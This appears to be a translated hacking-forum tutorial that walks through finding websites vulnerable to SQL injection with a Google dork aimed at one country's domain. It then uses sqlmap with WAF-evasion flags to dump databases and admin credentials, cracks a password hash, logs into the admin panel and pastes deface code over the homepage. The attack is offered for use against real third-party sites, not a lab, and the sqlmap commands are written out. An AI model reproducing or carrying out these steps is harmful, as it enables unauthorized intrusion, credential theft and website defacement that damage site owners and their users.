# SQL Vulnerability Detection - Database Extraction with SQLMAP - Index Injection #

Hello, today we will perform SQL Injection Detection and Database Extraction with SQLmap, and finally, we will index the site from which we extracted the databases.

Yes, there are many topics like hacking a site with SQLmap, but most of them only demonstrate database extraction rather than indexing. So, I decided to cover all of them in a single topic.

1- DORK SCANNING AND SQL INJECTION DETECTION
Firstly, those who are unfamiliar with creating dorks can refer to Ghost Hoca's topic.


I will scan with my dork.

Kod:
inurl:product.php?cat= site:my


Let's start the scan
jh66rru.png


Yes, after starting the search, I enter any one of them.


c3hzx52.png

Afterwards, I add an apostrophe next to the ' value on the site I entered.

n7ajmyg.png


If, after adding the apostrophe, the page gives a SQL syntax error, goes away, or if there is any data loss, there is a possibility of an SQL vulnerability on the site. When I added the apostrophe to the site I entered, it gave a SQL syntax error. (You can create nice dorks and find many vulnerable sites based on this error.)


2- DATABASE
EXTRACTION

SQLMAP comes pre-installed on Linux operating systems anyway.

You can download it from here for Windows.

I open my terminal on my Linux operating system.


4z5myon.png

Kod:
sqlmap -u hedefsite.com --random-agent --dbs --batch

--random-agent: Uses a random browser agent to bypass Web Application Firewall (WAF) and Intrusion Prevention System (IPS).
--dbs: Retrieves the databases of the site.
--batch: Automatically responds to the Y/N questions asked by Sqlmap.

I pressed Enter and it started pulling.


ol4dk49.png


It pulled the databases, now we will look into the tables within them.

Kod:
sqlmap -u hedefsite.com --tables -D dbismi --batch

3slad4v.png


Yes, We Hung the Paintings.

ls7bvxn.png


We need admin credentials because we will be indexing. Therefore, I am directly dumping the user (to extract the data).


Kod:
sqlmap -u hedefsite.com --columns -T tabloismi -D dbismi --batch --dump


54b8zib.png


The output will be as follows:

5z7vfbj.jpg


Yours may not be that complicated. I tried cracking the hashed password on line 2 from hashes.com and I was successful.

9c72xzj.jpg


INDEX DUMPS

Finding the Admin Panel:

I tried /admin.php and /admin/login.php at the end of the site and was successful on the second try. Now all I have to do is enter the username and password to dump the index. I tried the usernames in my terminal and one of them finally worked.


c728hs6.png


We log in to the panel by clicking "Login".

kximov1.png


From here, we go to Pages Settings. It may say "pages" in the panel you entered.

ggd0aj2.png


Now, all we have to do is paste the index codes. We're pasting the index codes and returning to the homepage.

poeqa5y.png


Topic Owner : @Floria1 # SQL Açık Tespiti-SQLMAP İle Database Çekimi-İndex Basma #

Ekran-Alintisi.png

 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.